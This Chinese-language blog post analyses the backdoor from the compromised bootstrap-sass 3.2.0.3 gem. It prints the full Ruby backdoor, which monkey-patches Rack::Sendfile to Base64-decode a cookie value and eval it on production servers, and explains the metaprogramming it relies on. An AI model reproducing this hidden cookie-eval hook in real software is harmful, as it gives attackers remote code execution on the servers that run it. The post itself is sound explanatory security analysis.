bootstrap-sass 3.2.0.3 黑客大佬用到的元编程

22 minute read

tl; dr BKSpurgeon 大佬的分析

白帽大佬的分析

begin
  require 'rack/sendfile'
  if Rails.env.production? # Continue only if we're in the rails production environment:

    Rack::Sendfile.tap do |r|
      # We're using the tap method. the block parameter, r, will be the Rack::Sendfile class.
      # So whenever you see r, just think we are working with the Rack::Sendfile class.

      r.send :alias_method, :c, :call
      # creates a method on Rack::Sendfile called `c` which reroutes to `call`.
      ## After the above you could now do:
      # send_file = Rack::Sendfile.new
      # send_file.c
      ## and the above would in turn call the ORIGINAL `call` method contained in the
      ## Rack::Sendfile class, and not the one that is being monkey patched below.
      ## `r.send` makes use of the `Object#send` method https://apidock.com/ruby/Object/send
      ## Another way of rewriting the above code would be:
      ## `Rack::Sendfile.alias_method(:c, :call)` which is equivalent to:
      ## `r.send :alias_method, :c, :call`

      ## The following bit of code below bit redefines the call(e) method which is in
      ## the SendFile class: https://github.com/rack/rack/blob/master/lib/rack/sendfile.rb
      ## again, `r.send(:define_method, :call) do |e|` is equivalent to saying:
      ## class Rack::Sendfile
      ##   def call(e)
      ##         # => Insert the malicious code below: begin....rescue...end
      ##   end
      ## end
      r.send(:define_method, :call) do |e|
        begin
          x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
          # Please edit this if you are more knowledgeable:

          # gets the e['HTTP_COOKIE'] value out of there.
          # then it scans/looks for this for this value: ___cfduid and extracts it with
          # a regular expression.
          # we then get the entire string out of those cookie(s) and convert it to a string
          # then we unencode it and
          # "eval" simply runs whatever code it's been given, AS A STRING!
          # so that someone could simply construct a request with the malicious code,
          # hidden in a cookie and can run it on your server.
          # simplistically: I could send this: e("WIPE HARDRIVE")
          # and it would run, provided the security levels in eval are passed.
          eval(x) if x
        rescue Exception
        end

        c(e)
        # after we've done the dirty work, let's run the ORIGINAL `call` method, as
        # defined in the Rack::Sendfile class. so no one would be none the wiser.
        # in other words, we've created an aliased method `c`. Running `c`
        # runs the ORIGINAL `call` method, and not the monkey patched one above.
        # But if you run `call` instead of `c`, you will be actually running the tainted and
        # monkey patched `call` method above, and not the original `call` method defined.
        # in Rack::Sendfile. Like Kelley Wentworth says: "Sneaky, sneaky, sneaky!"
      end
    end
  end
rescue Exception
  nil
end

背景知识:tap

The primary purpose of this method is to “tap into” a method chain, in order to perform operations on intermediate results within the chain.

黑客大佬不修改 object 本身,用 tap 复制一份到 block 去加料

(1..10).tap {|x| puts "original: #{x}" }
  .to_a.tap {|x| puts "array:    #{x}" }
  .select {|x| x.even? }.tap {|x| puts "evens:    #{x}" }
  .map {|x| x*x }.tap {|x| puts "squares:  #{x}" }
#original: 1..10
#array:    [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
#evens:    [2, 4, 6, 8, 10]
#squares:  [4, 16, 36, 64, 100]

背景知识:send

黑客大佬 send 了 alias_method、define_method,用来保存原来的方法,然后加料

class Klass
  def hello(*args)
    puts "大家好 " + args.join(' ')
  end
end
k = Klass.new
k.send :hello, "我是渣渣辉", "我是陈咬春"
#大家好 我是渣渣辉 我是陈咬春

背景知识:alias_method

This can be used to retain access to methods that are overridden.

重写某个方法后,用 alias 可以访问原方法

module Mod
  alias_method :orig_exit, :exit
  def exit
    print "加了料的 "
    orig_exit
  end

  def orig_exit
    puts "bootstrap-sass 官方出品"
  end
end
include Mod
exit
# 加了料的 bootstrap-sass 官方出品

背景知识:define_method

给类加/重写一个实例方法

class A
  def fred
    puts "In Fred"
  end
  def create_method(name, &block)
    self.class.define_method(name, &block)
  end
  define_method(:wilma) { puts "Charge it!" }
end
class B < A
  define_method(:barney, instance_method(:fred))
end
a = B.new
a.barney
a.wilma
a.create_method(:betty) { p self }
a.betty
#In Fred
#Charge it!
##<B:0x00007f869f84e6f8>

背景知识:eval

eval 可以将(多个)字符串作为代码执行,详见 Ruby 中的 eval 与 binding

eval("p '拖库'; p '删库'; p '留下勒索信息'")
#"拖库"
#"删库"
#"留下勒索信息"

Reference

白帽大佬的分析

Ruby 中的 eval 与 binding